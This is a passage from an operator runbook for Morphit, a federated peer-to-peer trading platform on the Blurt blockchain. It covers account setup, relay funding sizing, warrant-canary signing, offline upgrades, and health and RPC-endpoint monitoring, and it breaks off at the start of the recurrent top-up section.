Practical procedures for keeping Morphit running. Written for the person who has to do something at 2am when an alert fires, not for the person reading casually. Short and procedural by design.

If in doubt: stop, don't improvise. Most Morphit operations have a "wait and think" alternative. The only irreversible actions are key rotations and on-chain broadcasts. See the "escalation" section for who to contact.

⚠ This document is a template for the canonical operator. Community operators running their own instances should adapt paths, account names, and contact details to their own setup before relying on any of it.

First time setting up a Morphit instance? This document is the reference manual, not the walkthrough. If you've never run a server before, start with RUN-A-MORPHIT-NODE.md — it's an ELI5 companion that walks you from zero to a running instance, with copy-paste commands and explanations of every step. Come back here once your instance is running and you need the operational reference content.

For experienced operators standing up an additional instance: scripts/vps-bootstrap.sh (run once as root immediately after provisioning a fresh Ubuntu 24.04 host) bundles the host-prep steps from RUN-A-MORPHIT-NODE §5 — base packages, SSH hardening, UFW firewall, fail2ban, unattended-upgrades, unprivileged service users — into one idempotent script. It does NOT install Node, PostgreSQL, nginx, or any Morphit code; those steps remain manual so you can pick the versions and tunings appropriate to your host. Re-discovered Part 119 — the script existed but wasn't documented anywhere; manual-first setup is still the recommended path for first-time operators.

Initial account setup — names, roles, and tradeoffs 0a. Initial account funding — the relay needs BLURT to operate
Recurrent BLURT top-up setup (one-time)
Relay account funding — weekly ACT minting REMOVED
Relay reboot
Responding to a witness fee change alert
Responding to a relay-queue-stuck alert
Responding to a signup velocity spike 6a. Moderating accounts — reviewing flags and blocking
Suspected relay compromise
Owner-key rotation ceremony
Paper-key backup protocol
Escalation
Running integration tests
XMR viewkey pre-deploy check (retired)
Responding to a stale BLURT/USD price feed
Deployment topology requirement — apps MUST be behind a loopback proxy
Frontend CSP + security headers for operators
Operator-account balance alerts
Relay origin allowlist — protecting your instance from billing drift
Signup-drain prevention — the full defense stack
Chat anti-spam (Finding H) — operational reference
Attestation phase transition (Finding I) 20b. Schema v39 upgrade note — chat read-state is re-keyed, and the indexer cannot be rolled back over it
Schema v17 upgrade note — brief orderbook sequential-scan window
Choosing Blurt RPC endpoints
The morphit.config.env file — operator-tunable knobs in one place
HTTP/2 deployment requirement (Phase F.5 cross-page trade events)
Going live — staging procedure + chain-switch
Release signing (SHA-256 + GPG)
Fees and rewards reference
Operator-earnings monitoring
Running a second instance — DO NOT share relay accounts
Postgres provisioning — the password sentinel and the init script
Daily DB backup automation
BunkerWeb — recommended WAF / reverse-proxy hardening
Docker deployment — optional alternative to bare-metal
UFW firewall + fail2ban — extended hardening
TLS auto-renewal — quick reference
Warrant canary — weekly automated regeneration
Comprehensive server hardening — defense-in-depth checklist
Diamond-hardened squatter defense — operator playbook
Operating a home-hosted instance — concerns specific to running on residential internet
Treasury chain-pin + XMR per-payment proofs — broadcasting and verifying
Federation-cost attribution — only paying for ops served by YOUR instance Trade-only asset configuration — enabling/disabling tradable assets (jump) Payment-method configuration — enabling/disabling canonical payment methods incl. Barter (jump)
Web Push notifications — VAPID setup and the push-sender worker
SEO override env vars — homepage title/description/keywords + Twitter card
User-side optional TOTP 2FA — operator-side notes
MCP server — AI agent surface
Resetting the indexer database (schema drift after an upgrade)
Keeping the relay funded — low-BLURT notifications
IPFS release hosting — every instance pins the signed release
Advanced install paths — Ansible playbook or build-from-source
How your indexer treats the public Blurt RPC nodes (User-Agent + rate limits)

0. Initial account setup — names, roles, and tradeoffs

Read this before registering any Blurt accounts for your instance. The choices you make here are permanent — Blurt account names can't be renamed, and key rotations are involved enough that you want to get the structure right on the first try.

How many accounts do you actually need?

Morphit uses three configurable roles. The canonical operator (morphit.io) uses three distinct Blurt accounts for them, but that's not required — the code reads each role from an independent env var, so you can collapse any or all of them.

Role	Env var (indexer / relay)	What it does
Operator	`MORPHIT_INDEXER_OFFICIAL_ACCOUNT_NAME`	Signs release-discovery ops. Posting-key pubkey is pinned on each instance's frontend build.
Relay	(relay's own Blurt keypair loaded at boot)	Pays the small per-op BLURT fee (from its LIQUID balance — Blurt does NOT gate on mana/RC like Hive/Steem; see docs/BLURT-CHAIN-MODEL.md) to broadcast user-signed ops on the user's behalf. Hot wallet.
Fees	`MORPHIT_INDEXER_FEE_RECIPIENT`	Receives listing-fee BLURT transfers. Cold wallet in practice — operator sweeps periodically.

Why the canonical operator chose three separate accounts:

Operator vs relay separation keeps the relay's hot active key away from the operator's release-signing posting key. If the relay VPS is compromised, the attacker can burn BLURT on junk transactions but can't forge release-discovery ops claiming to be from the operator. The pinned MORPHIT_OFFICIAL_POSTING_PUBKEY in $net/config.ts makes this a hard wall.
Relay vs fees separation keeps listing-fee income away from the hot wallet. If the relay VPS is compromised, the attacker doesn't automatically get the operator's accumulated fee revenue — they'd need to compromise @morphit-fees's owner key too, which is held offline.
Operator vs fees separation is the least important but still clarifies audit trails — when users inspect on-chain activity, @morphit only signs releases, @morphit-fees only receives transfers. Role purity makes "what happened and why" legible.

Collapsing roles is defensible for small operators. The all-in-one variant (one account for all three) has a much smaller blast radius if YOUR instance never grows beyond you personally: less keys to track, one account to fund, one to secure. The "relay + fees separate from operator" middle variant is a common compromise — hot wallet isolated from release-signing, but fee accumulation in the same account that pays the per-op BLURT fee.

Pick the separation level that matches your threat model and operational overhead tolerance. You can always start with one account and migrate to three later, but the migration means re-pinning pubkeys on all frontend builds — coordinate with any other operators running your config.

Naming — the domain-prefix pattern

If you own a domain you're confident you'll hold long-term and it fits Blurt's account-name constraints, using it as your account prefix gives users a visible link between your web presence and your on-chain identity. The canonical operator did this:

morphit.io → @morphit, @morphit-relay, @morphit-fees

A user seeing a custom_json op from @morphit can immediately guess where to check what software that op came from. If they see @morphit-fees as the recipient of a fee transfer, the connection to morphit.io is obvious without needing a directory lookup.

Example mappings that work:

peertrade.org → @peertrade, @peertrade-relay, @peertrade-fees
swap.fi → @swap, @swap-relay, @swap-fees
otc-corner.net → @otc-corner, @otc-corner-relay (16 chars exactly — at the limit but legal), @otc-corner-fees (15 chars)

Adding role suffixes costs 6 chars (-relay) or 5 chars (-fees) on top of your base name. A 10-char base is the practical maximum if you want all three suffixes to fit without abbreviation.

Blurt account name constraints

Morphit's indexer validates account names against /^[a-z][a-z0-9.-]{1,14}[a-z0-9]$/, which means:

Length: 3 to 16 characters total.
First character: lowercase letter a-z (not a digit, a dot, or a hyphen).
Middle characters: lowercase a-z, digits 0-9, dot ., or hyphen -.
Last character: lowercase a-z or a digit 0-9 — a name can't end in a dot or a hyphen.
Permanent — once registered, the name exists forever and can't be renamed or transferred to a different identity without an ownership change ceremony.

The regex accepts a dot or hyphen in the middle (so a dotted name like alice.trade is legal), but it's a single flat pattern — it does not enforce Blurt's full per-segment subaccount grammar. For a top-level operator account, plain lowercase-plus-hyphen names are the clearest choice; stick to the constraints above and you'll be compatible with every Morphit handler.

Domain patterns that DON'T fit:

Compound TLDs (trade.example.co.uk — 19 chars, over the 16-char cap).
Domains with underscores or uppercase (not legal in Blurt names).
Long brand names (community-barter-exchange.com — the base is 25 chars, well over the 16-char cap).
Very short brands that can't accommodate role suffixes (an 11-char base can fit -fees but not -relay; a 12+ char base can't fit either).

If your domain doesn't fit, pick a short memorable alternative that you're prepared to keep indefinitely. Treat the Blurt name like an ENS registration or a ham-radio callsign — you're committing to it.

The "what if I lose the domain" risk

Blurt accounts are permanent; domains are not. If you register @swap/@swap-relay/@swap-fees based on owning swap.fi, then let the domain lapse, a new owner of swap.fi now has no legitimate connection to your on-chain identity — but the chain still carries your historical activity under those names, and you're stuck with two options:

Keep operating under the now-misaligned names (users searching for swap.fi land on someone else's site, but your on-chain presence still says @swap).
Migrate to new account names (complicated: re-pin pubkeys across frontend builds, coordinate with any other operators, old accounts still show up in historical indexer data).

Mitigations:

Register the domain for the longest term your registrar allows, and enable auto-renewal.
Use a domain you're personally emotionally committed to, not one you picked on a whim.
Consider registering the same brand across multiple TLDs to make takeover impersonation harder.
If you're unsure about the long-term domain, use a generic account name unconnected to any specific domain — less shiny but robust against future rebrands.

Setup checklist

Once you've decided on account names and separation level:

Register each account via a Blurt account-creation service or community helper. Record the owner, active, posting, and memo keys for each in an offline backup (paper + encrypted digital copy).
Fund the operator and relay accounts with enough BLURT to cover initial per-op fees (Blurt charges a small liquid-BLURT fee per operation, not mana/RC) — the relay especially will be broadcasting on users' behalf.
Publish the operator's posting pubkey as MORPHIT_OFFICIAL_POSTING_PUBKEY in your frontend build's $net/config.ts. This is the release-signing pinned key — users' clients won't trust release announcements signed by any other key, so get this right on the first build.
Configure the indexer's MORPHIT_INDEXER_FEE_RECIPIENT and MORPHIT_INDEXER_OFFICIAL_ACCOUNT_NAME env vars to match.
Proceed to §0a (initial funding) and §1 (recurrent top-up setup), then §3 for relay reboot procedure.

0a. Initial account funding — the relay needs BLURT to operate

Your relay account needs BLURT on hand before launch. This is the single most common cause of failed first-day launches — operators assume the relay is purely a service process and forget that it broadcasts on-chain ops, which cost BLURT.

Why the relay needs upfront BLURT

The relay performs four kinds of on-chain operations that cost BLURT:

Account creation for new user signups. The relay creates each account with a direct account_create op, paying the chain's account_creation_fee (currently ~100 BLURT, witness-set; see §4 for the change-response runbook) inline from @morphit-relay's liquid balance, which the chain burns. (Blurt disabled the Account-Creation-Token model at hard fork 2 — ADR-0010, as amended 2026-06; there is no minting.)

The 100 BLURT is spent at signup time, per account. Operator-side, the cost shows up as "keep the relay funded with enough liquid BLURT to cover expected signups." 100 BLURT × expected weekly signups is the load-bearing number for sizing.
Welcome bonus + loyalty BP. Every user who completes their first trade and leaves feedback receives a 20 BLURT welcome bonus (10 liquid + 10 vested) from your relay; the first verified BLURT-paid listing fee triggers a small loyalty BP delegation (default 1 BP, ~1 BLURT equivalent). Per-user one-time cost — paid from the relay's running liquid balance at the moment the user earns it.
Low-balance auto-refill (ADR-0010 §3). When a user runs critically low on BLURT (default threshold 0.5 BLURT) and they've been active recently, your indexer signals the relay to top them up with a small refill (default 1 BLURT). This keeps active users from getting stuck mid-flow because they ran out of chain gas. This feature is on by default — disable via MORPHIT_INDEXER_LOW_BALANCE_REFILL_INTERVAL_MS=0 if you don't want it.
Routine relay ops — chat-identity registrations, feedback ops, signups failure compensations, etc. These are small (sub-BLURT) but add up over thousands of users.

How much to fund up front

The account-creation cost (~100 BLURT per signup, paid inline) dominates. Size the relay's standing liquid balance to cover roughly one week of signups — the per-signup creation fee plus the welcome bonuses / refills paid from the relay's running balance:

Use case	Approx cost breakdown	Suggested initial float
1 signup	100 BLURT fee + ~21 BLURT bonus	~121 BLURT
5 signups (quiet soft-launch with testers)	500 BLURT fees + ~105 BLURT bonuses	~700 BLURT
50 signups (first-week small)	5,000 BLURT fees + ~1,050 BLURT bonuses	~6,000 BLURT
100 signups (first-week medium)	10,000 BLURT fees + ~2,100 BLURT bonuses	~12,000 BLURT
100 signups + 100 low-balance refills	10,000 BLURT fees + ~2,200 BLURT	~12,500 BLURT

Operator-side this is "keep the relay funded with enough liquid BLURT to cover next week's expected signups plus the week's welcome bonuses + refills." Top up via recurrent_transfer from a cold-key-funded account (ADR-0010 §4) so you don't have to log in to refill.

Don't get caught short. An operator who funds just 250 BLURT (the pre-Part-112 "conservative" figure, since corrected) cannot cover even 3 signups at ~100 BLURT each, let alone a meaningful launch. The old sizing-table figures (50/250/500 BLURT) were based on a mistaken "~1 BLURT/signup" claim; the canonical default is ~100 BLURT/signup (MORPHIT_INDEXER_ACCOUNT_CREATION_FEE_BLURT default 100, confirmed in apps/indexer/src/config/index.ts).

You can top up any time without restart — the relay checks its own balance on every signup and emits an operator_balance_low log line when it's running thin.

Where to send the BLURT

Send to whichever account name you set as MORPHIT_RELAY_ACCOUNT in your relay env. The wizard defaults this to @morphit-relay, but if you used a different name (e.g. @your-org-relay), use that.

You can confirm your configured relay account at any time with:

grep MORPHIT_RELAY_ACCOUNT /etc/morphit/relay.env

Running the on-chain morphit-ops commands on a systemd deploy: payment-method, register, and show-key read MORPHIT_RELAY_ACCOUNT (and the operator key-file path) straight from morphit.env. On a systemd install that file is sourced only by the unit — not by your interactive shell — and is usually root-owned, so run these with sudo. They are tagged (needs sudo) in the menu, and morphit-ops now auto-loads morphit.env + morphit.config.env from the install root when you run them, so sudo morphit-ops payment-method … works without manually sourcing the env first.

Funding the @morphit account (~10 BLURT, small fixed cost)

The @morphit account is the trust-anchor account that signs the canonical morphit_release_v1 op, which pins BTC + XMR treasury addresses on chain. Posting key stays on the operator's personal laptop, OFF the morphit.io production box — only the signed serialized op is copied to a place where the broadcast can happen.

The warrant canary is a separate primitive — a PGP-signed file served at /canary.txt (from the frontend's build/ dir), signed with the operator's PGP key. Sign it on your OWN machine (your laptop), not the server, and upload the signed file to the server's apps/web/build/. A server-side cron is a FLAW: a seized box would keep auto-signing "all-clear" canaries forever, silently turning the canary into a lie. Off-server signing makes it go stale exactly when it should — if you're compelled and gagged, if something happens to you, or if the box is seized without your key. The canary does NOT consume @morphit BLURT; it lives off-chain and uses a PGP keypair, not the Blurt posting key.

Setting it up (guided). scripts/canary/setup.sh walks you through the whole thing once and then keeps the canary fresh on a weekly timer, so it is not an ongoing chore. Run it from the machine you want to sign on; it asks which of two deployments you have:

Home hosting (local) — Morphit runs on this same machine. The canary is signed here and copied straight into the served build/ dir. Understand the trade-off: signing on the served box means a seizure of that box could forge future canaries. For the strongest canary, sign from a separate machine (the remote mode below).
Remote server (VPS) — Morphit runs elsewhere. You sign on your admin machine (key OFF the server) and the script uploads the signed file to the server's apps/web/build/. This is the recommended arrangement.

If you have no PGP key yet the script offers to create one and publishes the matching public key to apps/web/static/pgp_keys.asc (served at /pgp_keys.asc, which readers verify the signature against). After setup, the weekly refresh lives at ~/.morphit/update-canary.sh.

After every morphit-ops upgrade the rebuild wipes the served build/ dir, so re-run the refresh once to restore the canary — the upgrade prints this reminder:

bash ~/.morphit/update-canary.sh

That rebuild runs as root (sudo morphit-ops), so vite recreates apps/web/build root-owned — but a remote (VPS) canary uploads canary.txt + pgp_keys.asc into that dir over SSH as your non-root app user. To keep the refresh from failing with Permission denied after each upgrade, morphit-ops upgrade now restores the dir's ownership once the build finishes: it re-applies whatever non-root owner the dir already had (falling back to the install-dir owner), so the served dir stays writable for the upload. If your very first setup on a fresh box hits Permission denied (the initial build left build/ root-owned before any upgrade ran the restore), fix it once with sudo chown -R <your-ssh-user> /opt/morphit/apps/web/build and it persists across future upgrades from then on.

Offline upgrade (cable unplugged). A node must never be forced online to upgrade. On a box with no internet, download the self-contained morphit-<ver>-offline.tar.gz and its .asc signature on another machine, copy both over, and run sudo morphit-ops upgrade --from-file=/path/to/morphit-<ver>-offline.tar.gz (or set MORPHIT_UPGRADE_TARBALL to that path — handy for a scripted/cron offline upgrade). This skips all network discovery and download: the tarball's signature is verified against the release-signer keys shipped in the install (.forgejo/release-signers/*.asc), and an unsigned tarball is refused — with no reachable primary there is no anchored hash to fall back on, so a GPG signature is mandatory (the same "standalone-mirror-safe" trust rule the online path uses when the primary is unreachable). The bundle's prebuilt node_modules (marked .morphit-bundle-complete) means the rebuild skips npm ci, so it reaches no registry either — the entire upgrade completes with the network cable unplugged, just like the offline first install.

Offline drop-dir + auto-fallback. Instead of passing --from-file each time, drop the signed tarball (+ its .asc) into the offline release dir — <installDir>-offline (e.g. /opt/morphit-offline) by default, overridable with MORPHIT_OFFLINE_RELEASE_DIR. The main menu then shows ● update available (offline tarball ready) on its own (the version is read from the filename), and a normal morphit-ops upgrade FALLS BACK to that signed tarball automatically whenever every network source is unreachable — so an upgrade begun online still finishes offline if the link drops mid-run. An unsigned tarball in the dir is ignored (offline installs require a signature).

Machine-readable health (morphit-ops health --json). The health view is also emitted as JSON for monitoring: morphit-ops health --json prints one object with indexer, relay, system (cpu/mem/disk), services, backups, canary, and ipfs_seeding (the IPFS pin + IPNS-rebroadcast state — ok/degraded/down/not-configured). Point Zabbix at it — run it on a timer into a file, or via an agent — and alert on any section leaving its healthy state. Host-level operational detail is deliberately kept OUT of the public /v1/health (a public federation probe should not learn your backups are failing or your disk is full); use --json locally (or over SSH) for the full picture.

Which disk the system.disk_* figure measures. It reports the filesystem holding your node's DATA — the unbounded grower (Postgres / the chain index) — not always /. The guided install sets MORPHIT_HEALTH_DISK_PATH to the Postgres data directory's parent, so statfs resolves it to whichever mount holds the DB. On a single-volume box that's the same as /; on a split-volume node (a dedicated data mount) it tracks the volume that actually fills, instead of cheerfully reporting a comfortable /. If your data lives elsewhere, set an absolute path:

# /etc/morphit/indexer.env
MORPHIT_HEALTH_DISK_PATH=/mnt/morphit-data

A bad value safely falls back to /, so the figure never blanks.

Third-party resilience. The freshness proofs embedded in every canary — the Blurt and Bitcoin chain heads and a news headline — are fetched with wide failover so a single provider outage can't stall the weekly refresh. The Blurt head rotates across the canonical RPC list; the Bitcoin head hops across five independent explorers (Blockstream, mempool.space, Blockchain.com, Blockchair, BlockCypher); the news line falls through six independent feeds. The Bitcoin head and news line are SECONDARY to the Blurt head, so even if every one of their providers is unreachable the canary still signs (recording them as unavailable) instead of dying.

Pre-fund @morphit with ~10 BLURT before launch. This is a small fixed cost, not signup-rate-dependent:

Initial morphit_release_v1 broadcast — sub-BLURT.
Subsequent re-pins (rare: only when treasury addresses rotate or the frontend hash manifest changes) — sub-BLURT each.

Rounding up generously to ~10 BLURT covers many years of releases with comfortable headroom. Most operators won't need to top this up for years.

Funding the fees account (and whether it needs BLURT)

The @morphit-fees account (or whatever you set as MORPHIT_INDEXER_FEE_RECIPIENT) receives BLURT-paid listing fees and has no signing key on any production box — it's genuinely receive-only. No upfront BLURT funding required.

As a federated operator you earn 90% of the BLURT listing fees paid on your instance (the remaining 10% goes to the canonical project treasury), so this is where your revenue lands — set it to an account you control. The split happens at payment time: each user's fee transaction pays 90% straight into this account and 10% to the canonical @morphit-fees, in the same transaction, so your share arrives directly within one Blurt block — no forwarding step, nobody to trust to remit it later. You enter the account during morphit-ops init (step "Fees account") and can change it any time with morphit-ops edit → Fees account (or by editing MORPHIT_INDEXER_FEE_RECIPIENT directly and restarting the indexer).

Fallback / safety. If you leave MORPHIT_INDEXER_FEE_RECIPIENT empty or set it to a malformed Blurt account name, the indexer does not crash — it logs a fee_recipient_invalid warning at boot and falls back to the canonical @morphit-fees treasury. The frontend reads the resolved account from /v1/instance, so it always pays fees to exactly the account your indexer verifies against (they can never drift apart). If you see fees you expected arriving at @morphit-fees instead of your own account, check that boot warning — your configured name was rejected.

However: the account must exist on chain before any listing fees can land in it. Default @morphit-fees already exists on canonical morphit.io. If you set a custom fees account name, ensure that account is created on Blurt before your first listing fee tries to deliver there — otherwise the user's fee transfer fails, the order doesn't promote to verified, and you have a confused user.

Quick reference: all three Morphit accounts

Account	Role	Upfront funding	Signing key location
`@morphit`	Trust anchor (release pin)	~10 BLURT	Operator's laptop (OFF prod)
`@morphit-relay`	Service account (account-creation fees + bonuses + refills + payouts)	~700 BLURT (testers) – ~12,000 BLURT (100 signups/week)	Encrypted on prod box at `/etc/morphit/keys/relay-active.key` mode 0400
`@morphit-fees`	Receive-only treasury	~0 BLURT	Not on any production box

The @morphit-relay figure dominates because of the ~100 BLURT chain account-creation fee the relay pays inline per signup. Plan ~100 BLURT per expected signup plus a safety margin.

Long-term funding — see §1

§0a is about getting enough BLURT in the relay account to launch. §1 covers the recurrent-transfer mechanism for keeping the relay topped up over time without manual intervention.

Monitoring the relay balance

The /v1/health?verbose=1 endpoint exposes the relay's last-known balance under diagnostics.operator_balances[] | select(.role == "relay") | .last_observed_blurt (the scanner reports one entry per configured operator account; relay and fees are the two default roles). Add this to your monitoring; alert when it falls below your refill threshold, or when the matching entry's below_threshold flag goes true. See docs/POST-LAUNCH-WEEK-ONE.md for sample monitoring scripts.

Verbose mode requires an env opt-in. Every /v1/health?verbose=1 reference in the operator docs assumes you've set MORPHIT_INDEXER_VERBOSE_HEALTH=true in ops/env/indexer.env. Without it, ?verbose=1 returns the same minimal {ok} payload as the plain endpoint — by design (audit finding NEW-9-8: verbose mode is operator-opt-in to keep attackers from timing drain attempts against unhardened instances). Surfaced Part 119 (Sally-operator finding So-3).

Exception — per-source price-feed status is automatic. morphit-ops health shows each price provider, whether it answered this cycle, and the price it reported, with no env opt-in. It travels in a top-level price_feeds block the indexer returns only when the request carries X-Morphit-Local-Health: 1 — which the local ops-cli sends over the bridge and the public edge strips (proxy_set_header X-Morphit-Local-Health "";), so it's operator-only without exposing which of your feeds are down to a public caller. MORPHIT_INDEXER_VERBOSE_HEALTH still gates the fuller diagnostics (operator balances, explorer pools, drift/disagreement) — the parts NEW-9-8 protects.

Monitoring the price-manipulation defenses (drift / disagreement / peer)

The morphit_native pricing stack ships three independent price-manipulation defenses (ADR-0039 defenses B, C, F; ADR-0041). As of cp233 all three surface in the verbose price block of /v1/health, and each also log-alerts on a sustained breach, so you can wire them into monitoring:

curl -s "http://127.0.0.1:8081/v1/health?verbose=1" \
  | jq '.diagnostics.price'

If your indexer does not bind loopback: morphit-ops health tries 127.0.0.1:8081 first and then auto-probes your host's own bridge-gateway addresses (docker0 / br-*), so a container deployment that binds the bridge gateway (e.g. 172.18.0.1) so its frontend container can reach it is found automatically — no flag needed. If it still can't reach it (an unusual bind address), pass --url http://<host>:8081/v1/health or set MORPHIT_OPS_HEALTH_URL. This read-only view never needs sudo.

When the optional price feed is enabled, diagnostics.price carries enabled, blurt_usd, source, updated_at, stale, plus three defense blocks (each null until it has data):

drift — Defense B (slow-drift). baseline is the time-decayed moving baseline; deviation is the signed fraction the current price sits from it; above_threshold / sustained_hours / alert track a sustained divergence. alert: true means the published price has been walking away from its own baseline for longer than the sustained window — the "frog in boiling water" attack the per-cycle smoothing cap can't see. Peer-independent (works on a lone instance).
disagreement — Defense C (native vs external). Compares the published external market price against the self-sovereign morphit_native price. active / deviation / sustained_hours / alert track a sustained divergence between the two. A null external_price means there was no external market price to compare this cycle (e.g. external sources briefly unreachable) — by design C stays quiet rather than comparing against the static floor (which would false-alarm). Also peer-independent.
peer — Defense F (cross-instance). Only meaningful once your instance is federated with ≥3 reachable peers and MORPHIT_INDEXER_PEER_PRICE_MONITOR_ENABLED=true. peers_queried / peer_median / my_price / deviation / above_threshold / alert compare your derived price against the federation median.

What to do on an alert. None of these auto-correct the price (that would be its own attack vector) — they make manipulation loud. On a sustained alert: true, treat the listing-fee USD echo as suspect until you've investigated: check whether an external source is feeding a bad number (price.source, price.stale), whether your on-chain trade data looks manipulated (the /v1/price/morphit-native/receipt endpoint shows the full derivation), and — for peer — whether your instance is the outlier or the federation is. The same alerts appear in the indexer logs (price_drift_alert, price_source_disagreement, and the peer sample-cycle warnings).

Monitoring RPC endpoint health

Both the indexer and the relay depend on a pool of public Blurt RPC endpoints. When all of them stop responding (a DNS change, an upstream outage, a rate-limit wall), the indexer stops advancing and the relay can't broadcast — but the process keeps running, so the failure is easy to misread. /v1/health makes this visible without verbose mode:

curl -s http://127.0.0.1:8081/v1/health \
  | jq '{rpc_endpoints_healthy, rpc_endpoints_total, lag_blocks}'

rpc_endpoints_healthy is how many endpoints are currently reachable (out of cooldown), out of rpc_endpoints_total. If this reads 0 while the node is behind, RPC — not the indexer — is the problem; check your MORPHIT_INDEXER_RPC_ENDPOINTS (indexer) / MORPHIT_RELAY_BLURT_RPC (relay) list. A non-zero count with growing lag_blocks is normal during the initial back-fill.

Friendlier: morphit-ops health. Rather than curling and reading JSON, morphit-ops health (menu: "Check & operate" → "Node health — indexer, relay, system, services, canary") gives one consolidated view of the whole node:

Indexer and Relay — each hits its own /v1/health and prints synced/behind (with the lag in blocks) or unreachable, plus version, uptime, and the healthy/total RPC count. Both auto-probe the bridge gateway if loopback doesn't answer (see the note above). The relay is reported as optional.

System — CPU, memory, and root-disk usage of the box itself, read locally (unprivileged: os counters, /proc/meminfo, and a statfs on / — no config or DB access, so it works regardless of file permissions, same as the rest of this view). Memory and disk show used/total in GB with a percentage (disk uses the df-style used-of-usable figure so it matches df -h /); a line reads unavailable rather than failing if a metric can't be read. Useful for spotting a saturated CPU or a filling disk — often the real reason an indexer starts lagging.

Services — the read-only systemctl active-state of morphit-matrix-bot and morphit-mcp. (The MCP runs the hardened Streamable-HTTP transport bound to 127.0.0.1:8124, so besides the systemd service state you can curl its liveness directly: curl http://127.0.0.1:8124/health → {"status":"ok","transport":"http"}.)

Canary — whether apps/web/build/canary.txt is current (parsed from its Valid through: line) or overdue for its weekly regeneration. Since v1.3.5 the generator writes the sitewide human format — 22 July, 2026 @ 23:45:18 UTC — and health reads BOTH that and the older Zulu ISO form (2026-07-22T23:45:18Z), so a canary you signed before upgrading keeps verifying. Both are parsed strictly: a misspelled month or a timestamp with no timezone reports unparsable rather than being guessed at, because a canary's freshness is the whole security signal and a silently-skewed one is worse than an obviously broken one.

It resolves the indexer URL from --url, then MORPHIT_OPS_HEALTH_URL, then --host/--port (or the indexer's own MORPHIT_INDEXER_LISTEN_HOST/_PORT), defaulting to http://127.0.0.1:8081/v1/health. It needs no config or DB, so it works as the unprivileged morphit user even when the status dashboard would EACCES. Exit code is 0 synced / 1 reachable-but-behind / 2 indexer-unreachable, so it drops into a cron health-check.

The service and canary checks by hand (also read-only, no sudo):
systemctl is-active morphit-matrix-bot      # or morphit-mcp, morphit-relay
grep '^Valid through:' apps/web/build/canary.txt   # compare to today's date

For deep triage, verbose mode adds per-endpoint detail:

curl -s "http://127.0.0.1:8081/v1/health?verbose=1" \
  | jq '.diagnostics.rpc_endpoints'
# [{ url, state: open|half_open|closed, consecutive_failures,
#    cooldown_remaining_ms, ewma_latency_ms, last_success_age_s }]

Catch-up fetches blocks in batches (v1.7.5)

The poller does not spend one HTTP request per block while catching up. It prefetches a 20-block window with a single JSON-RPC 2.0 batch, then still applies those blocks one-per- database-transaction. A 5,000-block backlog is therefore 250 requests at the RPC node, not 5,000.

This matters because catch-up — not steady-state — is what gets an instance rate-limited. At the chain head an indexer asks for about one block every 3 s and no node notices. After downtime it asks for thousands as fast as the pacer allows, and Morphit is federated, so the nodes see that burst from every instance at once. Batching is the second of the four things the rpc.blurt.blog operator asked us for (lower RPS, batch, exponential backoff, jitter); the other three landed in v1.7.0.

Batch support is discovered, not assumed. A node that answers a batch with a single object rather than an array — or one whose edge firewall rejects the batch array outright with a 4xx (many public Blurt nodes return HTTP 406 or 403 to a JSON-RPC [...] POST while happily serving single calls; handled since v1.8.1) — is recorded for the lifetime of the process and quietly served by the old one-block-at-a-time path from then on. Nothing to configure, and nothing breaks on a node that can't (or won't) batch: a single strict node can no longer stall the poller, so the default six-node set works as-is with no manual endpoint-picking. (Before v1.8.1 a batch 4xx was a fatal, non-rotatable error, so one firewalled node leading the pool could freeze catch-up entirely — lag_blocks climbing with a repeating HTTP 406 (batch get_block) in the log. If you see that on an older build, pinning MORPHIT_INDEXER_RPC_ENDPOINTS to a node that serves batches is the interim workaround; upgrading is the fix.) If you want to confirm your node is getting the benefit, watch the request rate against a node during a catch-up: batching is working if it is roughly a twentieth of the block rate.

state is open while an endpoint is in cooldown after transport failures, half_open just after cooldown expires (eligible to retry, not yet proven), closed when healthy. A rate-limited (HTTP 429) or overloaded (HTTP 502/503/504) response counts as a transport failure too, so a throttled endpoint shows open, the node rotates away from it, and the cooldown ladder backs off automatically instead of hammering it — which is what the relay needed during the firefight. A single dead endpoint is harmless — the pool rotates to a healthy one within the same call; the count and the state fields exist so you can spot a degrading endpoint before it takes the whole list down. (Endpoint URLs appear only in the verbose block, which is env-opt-in per the note above.)

dblurt's own internal "Didn't failover for error code: [...]" console line is suppressed — that pool does the real failover for us, and this /v1/health view is the authoritative signal. If you still see that line, you're on a pre-beta5 build.

Catch dead endpoints before they bite. You don't have to wait for a stalled sync to discover an endpoint is gone:

morphit-ops doctor probes every configured endpoint (MORPHIT_INDEXER_RPC_ENDPOINTS + MORPHIT_RELAY_BLURT_RPC) with a real get_dynamic_global_properties call and reports which are reachable, as part of its normal run. Pass --no-rpc for a purely-local check (no network). The RPC result is advisory — it does not change doctor's boot-readiness exit code (a node still starts with dead endpoints; it just can't sync), but an All N endpoints unreachable line is your cue to fix the list.
morphit-ops init probes the list you enter during setup and warns (offering to edit) if any endpoint doesn't respond — so a typo or a decommissioned node is caught at config time, not at 3 a.m.

Sensible defaults, shared by both services. If you leave MORPHIT_INDEXER_RPC_ENDPOINTS and MORPHIT_RELAY_BLURT_RPC unset, the indexer and relay both fall back to the same vetted set of independent public nodes — so a fresh node can never end up with one service pointed at working endpoints and the other pointed at nothing (an asymmetry that bit a real operator). The wizard also writes that same set to both explicitly. The list is defined in one place (@morphit/operator-config); to change it project-wide, edit that constant — adding more independent nodes increases your resilience against the simultaneous rate-limiting that public RPC nodes occasionally hit under load.

When the relay runs out of BLURT, signups silently start failing (the user sees a generic error in the UI; the underlying cause is logged as account_creation_failed_insufficient_balance in the relay's structured logs). This is recoverable — top up the account and signups resume — but visible to users in the interim.

Public network-stats endpoint (`/v1/stats`)

Every node automatically serves a small, aggregate-only JSON summary at https://<your-instance>/v1/stats — active/total orders, completed-trade counts (lifetime + last 30 days), the tradable assets you support, and how many assets/fiat currencies currently have live orders. It is public, needs no configuration, and is rate-limited like the other read endpoints. It is also linked from the site footer ("Stats").

The endpoint is intended for third-party P2P aggregators (RoboSats, Bisq, Hodl Hodl, AgoraDesk peers, …) evaluating your instance for a marketplace listing — point them there. By design it exposes nothing per-account: only coarse counts and static config, so it can't be used to profile or correlate individual traders. (Instance configuration — disabled assets/payment methods, treasury addresses, fees — lives on /v1/instance.) There is deliberately no trade-volume figure yet: order amounts span many fiat currencies and aren't meaningfully summable without USD normalization, so the endpoint reports counts rather than a misleading notional total.

1. Recurrent BLURT top-up setup (one-time)

Per ADR-0010 §4, @morphit-relay is refilled on a weekly cadence from a funding account via Blurt's native recurrent_transfer operation. Set this up once. It runs autonomously until the configured duration expires.

Prerequisites

